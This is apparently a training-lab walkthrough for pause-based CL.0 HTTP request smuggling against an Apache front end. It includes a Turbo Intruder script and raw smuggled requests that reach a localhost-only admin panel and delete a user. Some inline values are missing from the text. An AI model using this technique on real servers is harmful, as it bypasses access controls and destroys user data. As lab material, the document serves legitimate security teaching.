Server-side pause-based request smuggling
This lab is vulnerable to pause-based server-side request smuggling. The front-end server streams requests to the back-end, and the back-end server does not close the connection after a timeout on some endpoints. See Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling: Pause.
Reproduction and proof of concept
Identify a desync vector
In Burp, notice from the Server response header that the lab is using Apache 2.4.52. This version of Apache is potentially vulnerable to pause-based CL.0 attacks on endpoints that trigger server-level redirects.
In Burp Repeater, try issuing a request for a valid directory without including a trailing slash, for example,
GET /resources. Observe that you are redirected to
Right-click the request and select Extensions -> Turbo Intruder -> Send to Turbo Intruder.
In Turbo Intruder, convert the request to a
POSTrequest (right-click and select Change request method).
Add a complete
GET /adminrequest to the body of the main request. The result should look something like this:
POST /resources HTTP/1.1 Host: lab-id.web-security-academy.net Cookie: session=YOUR-SESSION-COOKIE Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: CORRECT GET /admin/ HTTP/1.1 Host: lab-id.web-security-academy.net
In the Python editor panel, enter the following script. This issues the request twice, pausing for 61 seconds after the \r\n\r\n sequence at the end of the headers:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=500, pipeline=False ) engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=61000) engine.queue(target.req) def handleResponse(req, interesting): table.add(req)
Launch the attack. Initially, you won’t see anything happening, but after 61 seconds, you should see two entries in the results table:
The first entry is the
POST /resourcesrequest, which triggered a redirect to
The second entry is a response to the
GET /admin/request. Although this just tells you that the admin panel is only accessible to local users, this confirms the pause-based CL.0 vulnerability.
In Turbo Intruder, go back to the attack configuration screen. In your smuggled request, change the Host header to localhost and relaunch the attack.
After 61 seconds, notice that you have now successfully accessed the admin panel.
Study the response and observe that the admin panel contains an HTML form for deleting a given user. Make a note of the following details:
The action attribute (
The name of the input (
The csrf token.
Go back to the attack configuration screen. Use these details to replicate the request that would be issued when submitting the form. The result should look something like this:
POST /resources HTTP/1.1 Host: 0aff002604254014c2210d27007f0098.web-security-academy.net Cookie: session=4TP6Vc87hbPHTBC3t1NrkMur72FnhtII Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: CORRECT POST /admin/delete/ HTTP/1.1 Host: localhost Content-Type: x-www-form-urlencoded Content-Length: CORRECT csrf=eEtdwzBFbHWNIMY4LkkR5tSVtK1LYCPU&username=carlos
To prevent Turbo Intruder from pausing after both occurrences of \r\n\r\n in the request, update the pauseMarker argument so that it only matches the end of the first set of headers, for example:
Launch the attack.
After 61 seconds, the lab is solved.
An attacker will need to identify a pause-based CL.0 desync vector; smuggle a request to the back-end to the admin panel at
/admin; and then delete the user